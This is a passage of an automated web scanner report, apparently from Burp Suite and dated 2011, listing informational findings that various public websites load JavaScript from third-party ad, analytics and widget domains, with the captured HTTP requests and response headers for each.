   <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.276. http://www.kledy.de/buttons.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/buttons.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/81211909126097148926263.js

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:24 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 55482

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/81211909126097148926263.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
   <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.277. http://www.kledy.de/groups.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/groups.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/81211909126097148926263.js

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:26 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 38173

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/81211909126097148926263.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
   <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.278. http://www.kledy.de/impressum.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/impressum.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/81211909126097148926263.js

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:27 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 37681

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/81211909126097148926263.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
   <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.279. http://www.kledy.de/login.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/login.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/81211909126097148926263.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:33:13 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31841

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/81211909126097148926263.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
   <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.280. http://www.kledy.de/topusers.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/topusers.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/81211909126097148926263.js

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:34 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 49739

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
   <head>


    <meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/81211909126097148926263.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
   <script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.281. http://www.kledy.es/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/10711909126097144647865.js

Request

GET / HTTP/1.1
Host: www.kledy.es
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:36 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=kk51f6e0pv64rv1o1a3vug7kii5t15kp; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 123609

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/10711909126097144647865.js"></script>
...[SNIP]...
<br>
<script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

21.282. http://www.kledy.eu/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.eu
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/212119091279653321133331.js

Request

GET / HTTP/1.1
Host: www.kledy.eu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:42 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=j483t4du3ukk5rcb6o6fn9bkh9debbj0; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 41653

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<div class="box" style="text-align:center">
<script type="text/javascript" src="http://videos.video-loader.com/sp/212119091279653321133331.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

21.283. http://www.kledy.it/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/350119091292093356328905.js

Request

GET / HTTP/1.1
Host: www.kledy.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:44 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=rhma1ljcetm1ujatbaru3ekq31d2sk9j; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 79460

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center><script type="text/javascript" src="http://videos.video-loader.com/sp/350119091292093356328905.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
<br>
<script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.284. http://www.kledy.us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://tracker.icerocket.com/services/collector.js
http://videos.video-loader.com/sp/50811909125880119639927.js

Request

GET / HTTP/1.1
Host: www.kledy.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:46 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=dtgm4tef6nlfhjp24ikn7uenegac3geg; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 79180

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/50811909125880119639927.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
<br>
<script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

21.285. http://www.klivio.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.klivio.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://s7.addthis.com/js/250/addthis_widget.js
http://widgets.twimg.com/j/2/widget.js
http://www.google.de/coop/cse/brand?form=cse-search-box&lang=de

Request

GET / HTTP/1.1
Host: www.klivio.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:47 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=hkh2563fa6eu1ucdh0o175r2li6jlnvv; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 39745

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
<head>
<meta name="msvalidate.01" content="C0594E2AB82AE90F82DE0425FCA782B
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.de/coop/cse/brand?form=cse-search-box&lang=de"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=Kledy"></script>
...[SNIP]...
</div>
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...

21.286. http://www.klivio.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.klivio.de
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://tracker.icerocket.com/services/collector.js

Request

GET / HTTP/1.1
Host: www.klivio.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:48 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=dqvaudp4e1pn2ugqdulsc647iuk97c0d; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 42727

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

21.287. http://www.linkagogo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkagogo.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.linkagogo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:32 GMT
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8b Resin/3.1.4
Last-Modified: Thu, 27 Jan 2011 16:40:09 GMT
ETag: "7151cc-5bca-49ad69a490c40"
Accept-Ranges: bytes
Content-Length: 23498
Connection: close
Content-Type: text/html

<HTML>
<LINK REL="alternate" TITLE="Bookmarking in the News" HREF="go/Members/demo/Bookmark+News?type=rss20&title=Bookmark%20News&column=created&order=desc&max=10" TYPE="application/rss+xml"/>
<LINK
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.288. http://www.linkfixerplus.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkfixerplus.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://s7.addthis.com/js/200/addthis_widget.js
http://stats.hitbox.com/js/hbp.js
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.linkfixerplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:49 GMT
Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.6
Connection: close
Content-Type: text/html
Content-Length: 33322

<HTML><HEAD>
<link rel="alternate" type="application/rss+xml" title="RSS Feed for LinkTek.com" href="rss/rss.xml"
/>


<script type="text/javascript">var addthis
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/200/addthis_widget.js"></script>
...[SNIP]...
</script><script defer src="http://stats.hitbox.com/js/hbp.js"
language="javascript1.1"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.289. http://www.linuxsecurity.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linuxsecurity.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.linuxsecurity.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:06:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.7
Set-Cookie: 473097ac08cef5345a0ef7ef35a119cd=-; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:06:46 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 61884

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.290. http://www.livejournal.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.livejournal.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://goods.adnectar.com/analytics/get_avia_js?api_version=3.0.0&site_key=a9aa425c93ef5dff380c&avia_version=0.8.16

Request

GET / HTTP/1.1
Host: www.livejournal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 23:02:34 GMT
Server: Apache/2.2.3 (CentOS)
X-AWS-Id: ws17
Set-Cookie: ljuniq=MnryuUjDEJIp2pJ:1296946954:pgstats0:m0; expires=Wednesday, 06-Apr-2011 23:02:34 GMT; domain=.livejournal.com; path=/
Set-Cookie: show_sponsored_vgifts=1; path=/; domain=.livejournal.com
Set-Cookie: show_sponsored_vgifts=1; path=/; domain=.livejournal.com
Cache-Control: private, proxy-revalidate
ETag: "793cf6369d9bfe16694da195a465d2c3"
Content-length: 48994
Set-Cookie: show_sponsored_vgifts=1; path=/; domain=.livejournal.com
Set-Cookie: show_sponsored_vgifts=1; path=/; domain=.livejournal.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<
...[SNIP]...
</div>
<script type="text/javascript" src="http://goods.adnectar.com/analytics/get_avia_js?api_version=3.0.0&site_key=a9aa425c93ef5dff380c&avia_version=0.8.16"></script>
...[SNIP]...

21.291. http://www.manualsonline.com/privacy.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.manualsonline.com
Path:	/privacy.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects
http://c03.adsummos.net/a/e/s21719
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://px.owneriq.net/j?s=-br
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:37 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 23:02:37 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 78463

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<meta name="keywords" content="consumer products user manuals, user guides, instruction sheets and how-tos" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects"></script>
...[SNIP]...
</script>

<script src="http://c03.adsummos.net/a/e/s21719" type="text/javascript"></script>
...[SNIP]...

           <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
           </script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
       </script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://px.owneriq.net/j?s=-br"></script>
...[SNIP]...

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js"> </script>
...[SNIP]...

21.292. http://www.manualsonline.com/tc.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.manualsonline.com
Path:	/tc.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js
http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects
http://c03.adsummos.net/a/e/s21719
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://px.owneriq.net/j?s=-br
http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:38 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 23:02:38 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 72942

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<meta name="keywords" content="consumer products user manuals, user guides, instruction sheets and how-tos" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/prototype/1.7.0.0/prototype.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.3/scriptaculous.js?load=builder,effects"></script>
...[SNIP]...
</script>

<script src="http://c03.adsummos.net/a/e/s21719" type="text/javascript"></script>
...[SNIP]...

           <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
           </script>
...[SNIP]...
</script>
       <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
       </script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://px.owneriq.net/j?s=-br"></script>
...[SNIP]...

<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/9642.js"> </script>
...[SNIP]...

21.293. http://www.merapakistan.com/directory/draw_list_prize_bond_draw_result_7500.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.merapakistan.com
Path:	/directory/draw_list_prize_bond_draw_result_7500.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://s7.addthis.com/js/200/addthis_widget.js

Request

Response

21.294. http://www.migrationexpertzone.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.migrationexpertzone.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/BrightcoveExperiences.js
http://www.eweek.com/js/s_code_relcon_new.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

GET / HTTP/1.1
Host: www.migrationexpertzone.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:13 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=f0761fc32abac9fe9a816d768e40d8e0; expires=Mon, 06-Feb-2012 16:09:13 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:09:13 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 31704

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascri
...[SNIP]...
</script>
